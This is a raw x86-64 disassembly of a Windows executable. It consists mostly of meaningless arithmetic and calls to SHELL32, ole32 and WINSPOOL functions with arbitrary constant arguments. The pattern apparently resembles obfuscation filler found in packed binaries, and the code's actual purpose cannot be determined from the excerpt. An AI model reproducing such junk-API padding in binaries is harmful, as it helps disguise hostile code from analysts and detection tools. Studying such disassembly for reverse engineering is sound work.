mov rax, qword [rsp + 0x4ba8]
mov r8, qword [rax]
mov rax, qword [rsp + 0x4ba8]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x4ac8]
call fcn.1400fbda0
nop
jmp 0x1400fa51f
movsx eax, byte [rsp + 0x51]
movsx ecx, byte [rsp + 0x52]
and eax, ecx
mov byte [0x14017a050], al
movsx eax, word [rsp + 0x860]
mov dword [rsp + 0x4a98], eax
cmp dword [rsp + 0x4a98], 0x27d
je 0x1400fa53d
jmp 0x1400fa53f
jmp 0x1400fa554
movzx eax, word [rsp + 0x858]
add eax, 0x2da
mov word [rsp + 0x85c], ax
movzx eax, word [rsp + 0x858]
add eax, 0x138
mov word [rsp + 0x85c], ax
lea rax, [rsp + 0x4ba0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xd7
lea r9, [rsp + 0x4ae0]
mov r8d, 0x66
lea rdx, [rsp + 0x2974]
lea rcx, [rsp + 0x162f8]
call qword [sym.imp.ole32.dll_CoGetStandardMarshal]
mov dword [rsp + 0x2954], eax
movzx r8d, word [rsp + 0x860]
movzx edx, byte [rsp + 0x50]
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rax]
call fcn.1400fb900
nop
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x2908]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x28d8]
mov edx, dword [rsp + 0x28bc]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x1400fa660
mov eax, dword [rsp + 0x28bc]
mov rcx, qword [rsp + 0x4aa8]
mov qword [rsp + 0x162c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x162c0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x28d8], eax
lea r8, [rsp + 0x4d60]
mov rdx, qword [rsp + 0x162c8]
mov rcx, qword [rsp + 0x4d08]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0x4c98], rax
mov eax, dword [rsp + 0x28d8]
mov ecx, dword [rsp + 0x2908]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
jmp 0x1400fa697
mov dword [rsp + 0x20], ILCreateFromPathW
lea r9, [rsp + 0x4ac8]
mov r8, qword [rsp + 0x4d60]
mov rdx, qword [rsp + 0x161b8]
mov rcx, qword [rsp + 0x4d60]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x28dc], eax
movzx eax, byte [rsp + 0x50]
sar eax, 2
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x4ac8]
mov qword [rsp + 0x162d0], rax
movabs rax, 0x77bc56208dbe06
cmp qword [rsp + 0x162d0], rax
je 0x1400fa6cb
jmp 0x1400fa6ec
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
movabs rax, 0x72b00e7d520658
mov rcx, qword [rsp + 0x4aa0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ac0]
cmp rax, qword [rcx]
je 0x1400fa72c
mov eax, dword [rsp + 0x28f4]
mov ecx, dword [rsp + 0x28cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
jmp 0x1400fa751
mov rax, qword [rsp + 0x4aa8]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x28d8]
mov edx, dword [rsp + 0x2908]
add edx, ecx
mov ecx, edx
lea rcx, [rsp + 0x4ac8]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x28bc], eax
movzx eax, word [rsp + 0x858]
and eax, 0x27a
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x4ac8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ae0]
mov qword [rcx], rax
mov r8d, dword [rsp + 0x28f4]
mov edx, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x28f4]
call fcn.1400fabc0
nop
jmp 0x1400fa890
mov edx, 0x8b
lea rcx, [rsp + 0x28ac]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x2938], eax
mov eax, dword [rsp + 0x28ac]
sub eax, 0x63bf
cmp eax, 0x5ea2
jg 0x1400fa859
mov eax, dword [rsp + 0x28ac]
xor eax, 0x372
mov dword [rsp + 0x28ac], eax
lea rax, [rsp + 0x162a8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], reloc.SHELL32.dll_ILGetSize
mov r9d, 0xec
mov r8d, 0xde
mov edx, 0xe2
mov rcx, qword [rsp + 0x4db8]
call qword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [rsp + 0x28bc], eax
mov eax, dword [rsp + 0x28ac]
shl eax, 0x17
mov dword [rsp + 0x28ac], eax
mov edx, 0x7b
mov ecx, 0x92
call fcn.1400fa910
nop
mov eax, dword [rsp + 0x28ac]
and eax, 0x7454
mov dword [rsp + 0x28ac], eax
mov r8d, 0xc6
mov rdx, qword [rsp + 0x4e28]
mov rcx, qword [rsp + 0x162a8]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0x4c98], rax
cmp dword [rsp + 0x28ac], 0x3981
jl 0x1400fa8b0
mov eax, dword [rsp + 0x28ac]
add eax, 0x2424
mov dword [rsp + 0x28ac], eax
lea r9, [rsp + 0x4dd8]
lea r8, [rsp + 0x28ac]
lea rdx, [rsp + 0x2974]
mov rcx, qword [rsp + 0x4dd8]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x2974], eax
mov r8d, dword [rsp + 0x28ac]
mov edx, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x28ac]
call fcn.1400fabc0
mov eax, dword [rsp + 0x32c0]
add rsp, 0x16c38
pop rdi
pop rsi
ret